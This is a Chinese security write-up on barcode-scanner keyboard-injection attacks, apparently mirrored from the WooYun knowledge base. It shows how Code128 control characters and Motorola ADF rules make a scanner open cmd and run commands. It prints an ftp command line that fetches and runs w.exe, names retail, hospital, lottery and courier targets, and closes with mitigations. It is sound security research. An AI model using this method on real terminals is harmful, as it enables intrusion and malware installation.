作者:
資料流
·
2016/01/19 10:44
Author:[email protected]
0x00 前言
在日常生活中,條形碼隨處可見,特別在超市,便利店,物流業,但你們掃的條形碼真的安全嗎?之前TK教主 在PacSec介紹的條形碼攻擊和twitter上的demo影片太炫酷,所以就自己買了個掃碼器自己研究了一下 ,在研究時候也找遍了國內外所有資料,但是都沒有對可以執行的攻擊技術完整的文章,故有此文分享。 : )
0x01 條形碼介紹
條形碼(barcode)是將寬度不等的多個黑條和空白,按照一定的編碼規則排列,用以表達一組資訊的圖形識別符號。常見的條形碼是由反射率相差很大的黑條(簡稱條)和白條(簡稱空)排成的平行線圖案。
常見的條形碼型別有code39 code128 code93 EAN128 EAN13 QR等,前面大部分是一維條形碼,而QR則是二維條形碼,本文重點針對支援一維條形碼的掃碼器。其中code128是使用最廣泛,支援字元最多的一種型別,一般都利用code128條形碼進行攻擊。
0x02 掃碼器介紹
掃碼器,大家幾乎每天都能看到,在超市付賬,物流,醫院,彩票等。作用就是把條形碼的資訊提取出來,而常規的掃碼器的工作原理是利用紅外線照射,然後反射得出條形碼的資訊,再用掃描器內建的晶片處理得出結果。國際上常用的掃描器品牌有Symbol,Honeywell,Datalogic等,其中symbol已被摩托羅拉收購。
大家在超市購物付賬時候都注意到,商品透過掃描後,商品的編碼直接顯示在螢幕上,其實很多掃碼器都是用keyboard的方式輸入的,也就是說一個掃描器就相當於一個鍵盤,這是一個較大的風險。
0x03 Code128條形碼
既然知道掃描器是一個keyboard裝置,只要控制條形碼的資料就可以隨意輸入鍵盤資料了。但例如UPC條形碼只支援數字,有些則只支援數字與字母,而Code128 是一種廣泛使用的條形碼型別,因為它支援ASCII 0-127字元,所以叫code128,條形碼長度可調,最大支援232個字元。
Code128也分為三種:
- Code128A:標準數字和大寫字母,控制符,特殊字元
- Code128B:標準數字和大寫字母,小寫字母,特殊字元
- Code128C/EAN128:[00]-[99]的數字對集合,共100個,即只能表示偶數位長度的數字。
Code128由四部分組成:起始碼,資料碼,校驗碼(可有可無),結束碼
如上條形碼,黑白相間,且線條粗細不一;由黑色線條(條,Bar)與空白(空,Space)組成,根據粗細程度,可以將以上條形碼起始碼解讀為:211214;第一條黑色豎線是由兩個單位的豎線合併組成,而第二條空白豎線即由一個單位的豎線,如此類推。一般前6條的Bar與Space為一個單元。211214 用1,0轉成邏輯碼就是11010010000,也即是起始碼。
起始碼對照:
- 128A 11010000100
- 128B 11010010000
- 128C 11010011100
結束碼都是統一的1100011101011
根據上面的解讀出的邏輯碼11010010000,就可以推斷上面那個條形碼是屬於code128-B型別了。
最後再根據code128的編碼表就可以分析出條形碼的資料(編碼表太長就不貼完了)
0x04 控制字元與條形碼生成
根據上面分析的code128規則,已經可以自己寫出一個讀取識別和生成條形碼的程式了。而我們是要執行操作,最簡單的就是利用控制字元。控制字元即非顯示字元,例如回車,換行,製表符等。在ASCII中,0-31和127 就是控制字元。
根據ASCII的控制字元表,可以看出Ctrl+?的組合鍵幾乎都有了,例如Ctrl+O,也就是開啟檔案,但這個只是區域性快捷組合鍵,在一些程式中才能應用,例如瀏覽器,word等等,利用這些控制字元在某些終端可以使程式跳出沙盒。如何生成可以使計算機執行Ctrl+O的條形碼?因為已經上面已經介紹過code128的規則演算法,自己寫程式也可以。網路也有很多條形碼生成的小程式,但在這裡推薦一個強大的條形碼編輯工具:BarTender
下載安裝後點選選單欄“檔案”-“新建”-“完成”,就會出現一個空白模板。
然後點選條形碼按鈕就可以建立自己的條形碼,選擇code128型別。
利用BarTender輕鬆就可以生成出條形碼,而且字元可以隨時改動,方便除錯。掃描上圖就驗證碼後,會輸入“FutureSec”,然後輸入控制字元Ctrl+O
掃碼器掃描後立即彈出對話方塊
市面上基本任何一款掃碼器都能執行,因為code128是絕大部分掃碼器都支援的。
0x05 Advanced Data Formatting(高階資料格式)
Advanced Data Formatting(ADF),高階資料格式。是摩托羅拉針對掃描器開發的一種更高階的資料輸入,根據自己的設定一步一步的規則可以自定義輸入的資料,也可以說是一種支援程式設計的條形碼技術。
例如,在一個結賬系統中,當你對一個商品掃描後,由於該結賬系統不能直接對該條形碼直接處理,就需要這種技術。結賬系統識別碼:A12345,前面要A開頭;條形碼的資料型別:12345 純數字,想要在這個結賬系統中識別就要在輸入前進行處理。
再舉個例子:
條形碼的資料:
8523647122
透過ADF輸出的資料:
8523641<Enter>
如何實現ADF?
現在網上仍然沒有ADF的中文資料,而在外國的網站也寥寥無幾,無人問津,但靠tk的ppt中提到的ADF也是一頭霧水,因為沒有具體技術描述,只是一行字帶過。後來找到一份摩托羅拉撰寫300多頁的ADF指南PDF。
ADF是一種程式設計,根據自己的需求構建規則,而用的就不是用程式碼進行程式設計而是條形碼。ADF把所有規則都用條形碼錶示,例如Perfix/Suffix,Replace,字元輸入等。
利用ADF挾持掃描器資料
對掃描器進行ADF設定時要先掃描開始模式,Begin New Rule
此後開始掃描的條形碼都會被新增規則,前提是規則的邏輯是合法的。
隨後依次掃描下列條形碼
然後Save Rule
當Save Rule,掃描器的輸出資料都會被挾持成“TEST”,當你設定了ADF時,就會把你的規則按流程一步一步執行。
如何恢復?
掃描清除所有規則條形碼即可。
0x06 利用ADF執行命令,種植木馬
由於單憑控制字元無法執行命令,而ADF支援簡單的程式設計和更多的鍵,利用ADF可以輕鬆執行系統命令。由於ADF支援很多鍵,例如最有用的WIN+R。
在ADF中稱為GUI R,既然知道了可以WIN+R的鍵,利用上面的規則就可以彈出cmd執行了。但這樣還是不行,因為輸入的是由系統自動輸入,速度是手打無法可比的,當你執行到GUI R,再執行"c","m","d",win+r
的對話方塊還沒有出來就已經輸入了cmd,所有要延時,而ADF就支援,相當於程式設計中的sleep()
。
在錄ADF規則時,掃描延時後要輸入兩個Numeric,例如依次0和1兩個碼,就代表延時0.1秒,0和5就代表0.5秒,預設是延時1秒。
知道這些ADF條形碼後就可以構建彈出cmd,然後再利用控制字元執行命令,主要是Enter。但如果要按照以上這麼搞的話,僅是彈出一個cmd視窗就要十多個條形碼了,也就是說掃描器要掃十多次。可以先看看騰訊玄武實驗室的demo影片:
https://twitter.com/tombkeeper/status/663730674017300480
影片中用了一疊條形碼,依次掃描,掃描了十多次就出來個cmd,可能這與掃描器型號也有關係。
這樣的話不管是規則生成和利用都非常繁瑣,其實是可以最佳化的,ADF的規則可以合併。利用motorola的掃描器軟體123scan。
123scan是摩托羅拉官方出品非常強大的掃描器管理軟體,在其官網可以下載。功能很多,在這裡就介紹利用123scan設定ADF。
開啟後點選"Create new configuration file"->"My scanner is NOT connected"->選擇掃描器->"Mondify data"->"Program complex data modifications"->"Create a new rule"。
點選Add action就是新增規則。
ADF所有規則都在裡面,包括Beep控制(控制掃描器蜂鳴),Replace等。
設定延時0.5秒,依次新增規則。
最後會自動合併條形碼並輸出。
以上就是執行任意命令的條形碼payload,除去1和2的設定出廠設定和清除所有規則,只需要4個條形碼就可以執行任意單條命令。其中Send ALL that remains是代表設定ADF後掃描條形碼的原本資料。 以上四組條形碼的ADF流程是:輸入WIN+R鍵->延時0.5秒->輸入c鍵->輸入m鍵->輸入d鍵->輸入回車->延時0.5秒->執行條形碼的內容,而隨後的Send ALL that remains就是你要執行的命令,可以多行命令,要是單行命令基本上4條就夠不需要加Send ALL that remains。
利用ADF種植木馬
既然已經可以執行cmd命令,最簡單的方法就是利用ftp下載執行任意程式。上面提到的Send ALL that remains可以用BarTender生成出FTP命令。
#!bash
ftp test«CR»a«CR»a«CR»get w.exe«CR»bye«CR»w.exe«CR»get w.exe«CR»bye«CR»w.exe«CR»
下面給出我們的demo影片,是已經經過掃描四次ADF設定後。不管掃描什麼條形碼執行到Send ALL that remains。影片中是利用FTP命令執行。
(測試型號Symbol-LS4208-SR20001ZZR)
http://v.youku.com/v_show/id_XMTQ0ODY0ODg1Ng==.html?from=y1.7-1.2
密碼:wooyun520
0x07 攻擊場景
簡單總結一下可能存在攻擊的場景地點:
1.商店付款
直接把條形碼替換到商品;很多便利店支援微信,支付寶二維碼支付,掃描器也支援多個型別條形碼,可以直接把條形碼存在手機中,讓其掃描;有些大型百貨有資助價格查詢終端,只要用特殊的條形碼到終端一掃就能跳出終端。
2.醫院病歷,檢驗單
現在醫院的掛號,病歷都會有個條形碼,直接到醫院自主終端或直接遞給護士掃描;去醫院都知道,有資助出檢驗單的終端,只要一掃就會單子,基本每個醫院都有了。
3.彩票
彩票自身都會有條形碼,兌換彩票就憑靠條形碼到機器識別,所以偽造或對檢驗機進行攻擊還是有可能,彩票終端型別這麼多。
4.快遞單子
快遞都有條形碼,一般是code128或者code39型別。在一些快遞自助取件櫃,和快遞小哥掃描的時候或許會出現風險。
。。。。。。
場景很多就不一一列舉了,以上場景有空我會逐一分析。
0x08 防範方法
- 掃碼器預設不要開啟ADF功能
- 掃描器儘量不要使用鍵盤模擬
- 設定熱鍵黑名單
0x09 總結
一維條形碼攻擊的概念在國外很多年前就有提出了,但是沒人深入研究。利用條形碼也可能出現SQL注射,XSS,溢位等攻擊。
無論什麼裝置,只要能控制一部分輸入,就存在風險!
0x0A 參考文獻
本文章來源於烏雲知識庫,此映象為了方便大家學習研究,文章版權歸烏雲知識庫!